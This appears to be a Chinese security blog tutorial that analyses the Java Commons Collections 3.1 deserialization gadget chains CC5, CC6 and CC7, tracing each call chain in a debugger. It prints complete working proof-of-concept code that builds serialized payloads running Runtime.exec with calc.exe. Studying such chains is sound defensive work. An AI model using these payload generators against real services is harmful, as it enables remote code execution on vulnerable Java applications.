通俗易懂的Java Commons Collections 5、6、7分析
CC5 前言 CC5是对CC3.1版本的利用,分析过CC1就很容易看懂CC5了。 可参考: 通俗易懂的Java Commons Collections 1分析 环境搭建 JDK 1.8 Commons Collections 3.1 pom.xml中添加: <dependencies> <dependency> <groupId>co
CC5
前言
CC5是对CC3.1版本的利用,分析过CC1就很容易看懂CC5了。
可参考:
通俗易懂的Java Commons Collections 1分析
环境搭建
- JDK 1.8
- Commons Collections 3.1
pom.xml中添加:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
ysoserial中提示到这只适用于JDK 8u76,并且没有安全管理器;

前置知识
CC5中涉及到两个新的类,这里先介绍一下:
TiedMapEntry

该类有两个参数,一个Map类型,一个Object类型;
后面我们会使用到它的getValue和toString方法。
BadAttributeValueExpException

该类只有一个val参数。
POC分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}
代码1
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
这一部分和CC1中LazyMap链一样,只要调用了LazyMap.get(),就可以触发ChainedTransformer.transform(),进而对transformers数组进行回调,然后执行命令。
代码2
TiedMapEntry tiedmap = new TiedMapEntry(outerMap, 123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
TiedMapEntry.getValue()调用了get(),参数map是可控的;

所以实例化TiedMapEntry类,将outerMap传进去,第二个参数可以随便填,用来占位;
接着,toString()方法又调用了getValue()方法;

继续找哪里调用了toString()方法;
BadAttributeValueExpException.readObject()调用了toString()方法;

valObj是从gf中的val参数获取的,而gf又是从反序列化流中读取的;
所以,相当于控制了val参数,就控制了valObj,这里就通过反射给val赋为TiedMapEntry类的实例化对象;
即调用了TiedMapEntry.toString(),这样就满足了命令执行需要的所以条件。
POC调试
从BadAttributeValueExpException,readObject()跟起,valObj就获取到TiedMapEntry类的对象;

跟进toString;

跟进getValue;

跟进get,这里出现了一点问题,map中包含了一个key为123,所以if判断为假,并没有进如if;

按道理是该进入if的,我又尝试了几次;
只在这个if这里断点,前面的断点都取消掉,那么map就没有key,可以进入if;

不知道这是什么原因,猜测是跟IDEA的调试机制有关吧;
继续,就跟到了ChainedTransformer.transform(),这里就对tranaforms数组进行循环回调;

循环到第三次InvokerTransformer.transform();

return后,成功执行命令;

CC6
前言
CC6还是通过调用LazyMap#get来触发RCE,任然用到了TiedMapEntry类,只不过调用TiedMapEntry#getValue的链不一样。
环境搭建
- JDK 1.8
- Commons Collections 3.1
pom.xml中添加:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用链
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
利用链分析
找到调用LazyMap#get的地方,任然是TiedMapEntry#getValue,map可控,传入LazyMap即可;

接下来寻找调用getValue()的地方,找到TiedMapEntry#hashCode;

接着寻找调用hashCode()的地方,找到HashMap#hash;

继续寻找调用hash()的地方,找到HashMap#put;

最后,在HashSet#readObject中,调用了put();

POC分析
代码1
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"notepad.exe"}),
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
构造两个Transformer数组,因为在后面调用add()的时候也会触发RCE,用两个不同的命令加以区分;
代码2
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
new一个ChainedTransformer对象,先将fakeTransformers传进去;
同样new一个LazyMap对象;
代码3
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap);
outerMap.remove("foo");
这里调用add()方法将含有恶意代码的对象传入hashSet,就不用像ysoserial中使用反射去传值,这样比较简便;

跟一下add()方法,这里的map是TiedMapEntry对象,跟进put;

调用了hash方法,继续跟进,k也是TiedMapEntry对象;

跟进hashcode(),这里就调用到了getValue;

跟进,map是LazyMap,调用了get方法;

来到get(),进入if,调用了transform;

跟进,这里的iTransformers是我们传入的fakeTransformers,里面是notepad.exe命令;

命令执行;

可以看一下这时的调用栈;

当然在这里执行命令不算咯,得在反序列化时执行才有用,这里也可以不使用InvokerTransformer,只是为了更清楚的表达这里也会调用LazyMap#get,触发RCE;
继续分析,这里已经调用过一次LazyMap#get了,为了后面反序列化时,能进入get()的if判断,所以调用remove()将key值删除掉;

代码4
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
通过反射获取ChainedTransformer的iTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers;
完整POC:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {
Transformer[] fakeTransformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"notepad.exe"}),
};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tiedmap = new TiedMapEntry(outerMap,"foo");
HashSet hashset = new HashSet();
hashset.add(tiedmap);
outerMap.remove("foo");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
outputStream.writeObject(hashset);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc6.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
POC调试
从HashMap#readObject开始,调用了put;

调用链和add()差不多,直接跟到InvokerTransformer;

命令执行成功;

CC7
前言
CC7也是对CC3.1版本的利用链,使用Hashtable作为反序列化的入口点,通过AbstractMap#equals来调用LazyMap#get。
环境搭建
- JDK 1.8
- Commons Collections 3.1
pom.xml中添加:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用链
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
利用链分析
看到Hashtable#readObject,循环调用了reconstitutionPut,elements为传入的元素个数;

key和value都是从序列化流中得到的,序列化流中的值则是通过put传进去的;

跟进reconstitutionPut;

for循环中调用了equals,我们先看看进入for循环的条件:e != null,而e = tab[index],此时tab[index]的值是为null的,所以不会进入for循环,下面的代码就是将key和value添加到tab中;
那如何才能进入for循环呢,既然调用一次reconstitutionPut不行,那我们就调用两次,也就是说put两个元素进Hashtable对象,这样elements的值就为2,readObject中的for循环就可以循环两次;
第一次循环已经将第一组key和value传入到tab中了,当第二次到达reconstitutionPut中的for循环的时候,tab[index]中已经有了第一次调用时传入的值,所以不为null,可以进入for循环;
接着看看if里面的判断,要求e.hash == hash,这里的e值为tab[index],也就是第一组传入的值,这里的hash是通过key.hashCode()获取的,也就是说要put两个hash值相等的元素进去才行;
继续跟进到AbstractMapDecorator#equals,这里的map是可控的,;

跟进到AbstractMap#equals,调用了m.get(),而m是根据传入的对象获取的,也就是说如果传入的是LazyMap类对象,那么这里就是调用的LazyMap#get,便可触发RCE;

POC分析
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
lazyMap2.remove("yy");
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc7.bin"));
outputStream.writeObject(hashtable);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc7.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
代码1
Transformer[] fakeTransformers = new Transformer[] {};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
和CC6一样,需要构造两个Transformer数组,因为在后面第二次调用hashtable.put()的时候也会调用到LazyMap#get,会触发RCE,可以跟进看一调用栈;

所以这里构造一个fakeTransformers,里面为空就行;
代码2
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
先将fakeTransformers传入ChainedTransformer对象;
new两个HashMap对象,都调用LazyMap.decorate,并且分别向两个对象中传值,两个key值分别为yy和zZ,因为需要这两个值的hash值相等,而在java中,yy和zZ的hash值恰好相等;

然后将这两个LazyMap类对象put进Hashtable类对象;
代码3
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
lazyMap2.remove("yy");
通过反射获取ChainedTransformer的iTransformers变量,将含有我们反序列化时要执行的命令的transformers数组传进去,替换前面的fakeTransformers;
最后还要remove掉yy,应为如果不去掉的话,第二次调用reconstitutionPut的时候就会存在两个key;

导致进入下面的if判断,直接返回false,不再执行后面的代码;

POC调试
第一次进入reconstitutionPut,将值传入tab:

第二次进入for循环:

进入equals,参数object是lazyMap2:

进入下一个equals,m就是LazyMap类:

进入get,成功调用transform():

命令执行成功;

参考链接:
https://paper.seebug.org/1242/
https://www.cnblogs.com/nice0e3/p/13890340.html
总结
CC链就先分析到这里,8、9、10等剩下的链以后再接着分析;
CC链1-7涉及两个CC版本,3.1和4.0;
3.1版本基本就是通过各种途径去调用LazyMap#get,从而实现RCE;
4.0版本则是通过调用TransformingComparator#compare来实现RCE;
相同点都在于是为了调用transform();
虽然几条链分析下来都大同小异,但也提升了不少分析代码的能力,获益匪浅。